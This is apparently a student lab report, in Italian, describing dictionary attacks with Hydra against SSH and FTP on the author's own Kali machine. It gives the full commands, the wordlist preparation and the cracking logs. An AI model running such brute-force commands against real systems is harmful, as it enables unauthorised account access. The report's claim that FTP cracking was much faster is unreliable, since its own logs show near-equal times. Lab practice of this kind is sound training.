

Relazione Tecnica: Authentication Cracking con Hydra

Introduzione

In questa attività ho esplorato le tecniche di cracking delle credenziali per i servizi di rete SSH e FTP, utilizzando lo strumento Hydra.

Fase 1: Configurazione e Cracking SSH

L'obiettivo iniziale è stato quello di preparare un bersaglio valido sulla mia macchina Kali Linux per testare l'efficacia di un attacco a dizionario.

1. **Preparazione dell'utenza:** Ho creato un nuovo utente nel sistema chiamato `test_user`, impostando come password `testpass`.

```
(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []: Jack TheMarmitta
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
```

2. **Attivazione del Servizio:** Ho avviato il demone SSH tramite il comando `sudo service ssh start`. Ho inoltre verificato l'indirizzo IP locale della macchina per definire il target dell'attacco.

```
(kali㉿kali)-[~]
$ sudo service ssh start

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.50.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
```

3. **Filtraggio delle Wordlist (Grepping):** Ho installato il pacchetto `seclists`. Ho proceduto a una prima riduzione dei file tramite il comando `grep`, filtrando i termini contenenti la stringa "test".
 - **Comando:** `cat /usr/share/seclists/Username/xato-net-10-million-username.txt | grep test > xato-usernames.txt`
4. **Ottimizzazione finale dei tempi (Head):** Durante l'esecuzione, ho notato che i file ottenuti dal grepping erano ancora troppo voluminosi, portando a tempi di attesa incompatibili con la consegna prevista per le ore 18:00. Ai fini del corretto svolgimento dell'esercitazione e per risolvere il problema, ho eseguito un'ulteriore estrazione tramite il comando `head`:
 - **Comando:** `head -n 10 xato-usernames.txt > micro-users.txt`
 - Ho quindi aggiunto manualmente le credenziali reali (`test_user` e `testpass`) in fondo a queste "micro-liste" per assicurarmi che il cracking avesse successo pur limitando i tentativi.

```
(kali㉿kali)-[~]
$ head -n 10 xato-usernames.txt > micro-users.txt

(kali㉿kali)-[~]
$ head -n 10 xato-passwords.txt > micro-pass.txt

(kali㉿kali)-[~]
$
```

```
(kali㉿kali)-[~]
$ echo "test_user" >> micro-users.txt

(kali㉿kali)-[~]
$ echo "testpass" >> micro-pass.txt

(kali㉿kali)-[~]
$
```

5. **Esecuzione dell'Attacco:** Ho lanciato Hydra in modalità "blackbox" (utilizzando gli switch `-L` e `-P` per simulare la non conoscenza di utenti e password). Ho impostato il numero di thread a 2 (`-t 2`) per garantire la stabilità del servizio durante il processo.
 - **Comando finale:** `hydra -L micro-users.txt -P micro-pass.txt 192.168.50.100 -t 2 ssh -V.`

```
(kali㉿kali)-[~]
$ hydra -L micro-users.txt -P micro-pass.txt 192.168.50.100 -t 2 ssh -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 07:45:01
[DATA] max 2 tasks per 1 server, overall 2 tasks, 121 login tries (l:11/p:11), ~61 tries per task
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testing" - 112 of 121 [child 1] (0/0)
[STATUS] 37.33 tries/min, 112 tries in 00:03h, 9 to do in 00:01h, 2 active
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tester" - 113 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test123" - 114 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testtest" - 115 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test1" - 116 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test1234" - 117 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 118 of 121 [child 1] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 07:48:12

(kali㉿kali)-[~]
$
```

Fase 2: Configurazione e Cracking FTP

Nella seconda fase ho configurato il servizio FTP per consolidare le conoscenze sulla gestione dei demoni di rete.

1. **Installazione e Avvio:** Ho installato il server FTP tramite `sudo apt install vsftpd` e l'ho avviato con `sudo service vsftpd start`.

```
(kali@kali)-[~]
└─$ sudo apt install vsftpd
Installing:
vsftpd

Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 43
Download size: 145 kB
Space needed: 356 kB / 55.5 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.4 [145 kB]
Fetched 145 kB in 1s (149 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 203944 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.4_amd64.deb ...
Unpacking vsftpd (3.0.5-0.4) ...
Setting up vsftpd (3.0.5-0.4) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.1-1) ...
Processing triggers for kali-menu (2025.4.3) ...

(kali@kali)-[~]
└─$
```

```
(kali@kali)-[~]
└─$ sudo service vsftpd start

(kali@kali)-[~]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-01-16 07:04:42 EST; 6s ago
  Invocation: 5bd62243481543958970943ef669a861
    Process: 61745 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 61747 (vsftpd)
      Tasks: 1 (limit: 4454)
     Memory: 960K (peak: 2.5M)
        CPU: 19ms
    CGroup: /system.slice/vsftpd.service
            └─61747 /usr/sbin/vsftpd /etc/vsftpd.conf

Jan 16 07:04:42 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server...
Jan 16 07:04:42 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.

(kali@kali)-[~]
└─$
```

2. **Attacco Comparativo:** Ho riutilizzato le micro-liste create in precedenza per attaccare il protocollo FTP.

- **Comando:** `hydra -L micro-users.txt -P micro-pass.txt 192.168.50.100 -t 2 ftp -V`

```
(kali@kali)-[~]
└─$ hydra -L micro-users.txt -P micro-pass.txt 192.168.50.100 -t 2 ftp -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret services
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 07:53:08
[DATA] max 2 tasks per 1 server, overall 2 tasks, 121 login tries (l:11/p:11), ~61 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "testing" - pass "test" - 1 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testing" - pass "testing" - 2 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testing" - pass "tester" - 3 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testing" - pass "test123" - 4 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testing" - pass "testtest" - 5 of 121 [child 0] (0/0)
```

3. **Analisi dei Risultati:** Hydra ha individuato la password correttamente. Ho osservato che il cracking su FTP è significativamente più veloce rispetto a quello su SSH. Questa differenza è dovuta alla natura del protocollo FTP che, a differenza di SSH, non richiede complessi handshake crittografici per ogni tentativo di connessione, riducendo drasticamente i tempi di risposta del server.

```
[STATUS] 36.00 tries/min, 108 tries in 00:03h, 13 to do in 00:01h, 2 active
[ATTEMPT] target 192.168.50.100 - login "test12" - pass "test12" - 109 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test12" - pass "testpass" - 110 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test" - 111 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testing" - 112 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tester" - 113 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test123" - 114 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testtest" - 115 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test1" - 116 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test1234" - 117 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 118 of 121 [child 1] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 07:56:27

(kali@kali)-[~]
$
```

Conclusioni

L'esercizio ha confermato che la configurazione dei servizi costituisce parte integrante della sicurezza. Ho appreso che, per quanto gli strumenti automatizzati come Hydra siano potenti, la gestione corretta delle wordlist e la comprensione dei limiti temporali sono competenze fondamentali per un analista di cybersecurity.